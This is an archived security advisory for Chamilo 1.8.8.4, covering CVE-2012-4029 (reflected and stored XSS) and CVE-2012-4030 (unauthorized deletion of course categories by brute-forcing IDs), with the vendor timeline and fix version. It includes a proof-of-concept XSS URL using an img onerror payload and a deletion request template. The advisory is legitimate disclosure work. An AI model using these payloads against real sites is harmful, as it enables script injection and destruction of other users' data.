Chamilo 1.8.8.4 XSS / File Deletion

🗓️ 27 Aug 2012 00:00:00Reported by befordType

packetstorm🔗 packetstormsecurity.com👁 46 Views

Chamilo 1.8.8.4 Multiple Vulnerabilities including XSS and Unauthorized File Deletio

Reporter	Title	Published	Views	Family All 13
Circl	CVE-2012-4029	8 Feb 202020:33	–	circl
CVE	CVE-2012-4029	8 Feb 202017:44	–	cve
CVE	CVE-2012-4030	10 Jan 202016:58	–	cve
Cvelist	CVE-2012-4029	8 Feb 202017:44	–	cvelist
Cvelist	CVE-2012-4030	10 Jan 202016:58	–	cvelist
EUVD	EUVD-2012-3973	7 Oct 202500:30	–	euvd
EUVD	EUVD-2012-3974	7 Oct 202500:30	–	euvd
NVD	CVE-2012-4029	8 Feb 202018:15	–	nvd
NVD	CVE-2012-4030	10 Jan 202017:15	–	nvd
Prion	Cross site scripting	8 Feb 202018:15	–	prion

`Chamilo 1.8.8.4 Multiple Vulnerabilities  
========================  
  
CVE: CVE-2012-4029  
Issue: Reflected XSS PHP_SELF in third-party app, Stored XSS  
  
* PHP_SELF XSS  
http://chamilo-1.8.8.4/main/inc/lib/phpdocx/pdf/www/examples.php/'"><img  
src=404 onerror=alert(1) >  
  
* Stored XSS unfiltered input category_name  
  
http://chamilo/chamilo-1.8.8.4/main/dropbox/index.php?cidReq=LEETLANG&view=&action=addsentcategory  
  
  
CVE: CVE-2012-4030  
Issue: Unauthorized file delete  
  
* Unauthorized file delete  
  
You have to be subscribed to the course and you can delete other users  
categories by bruteforcing the category ID.  
  
http://chamilo/chamilo-1.8.8.4/main/dropbox/index.php?cidReq=COURSEID&view_received_category=&view_sent_category=&view=&action=deletesentcategory&id=CATEGORYID  
  
Vendor:  
www.chamilo.org  
  
Vendor informed:  
Jul 16/2012  
  
Vendor acknowledgement:  
Jul 16/2012  
  
Fix Released  
Version 1.8.8.6 - Jul 20/2012  
`

27 Aug 2012 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.00532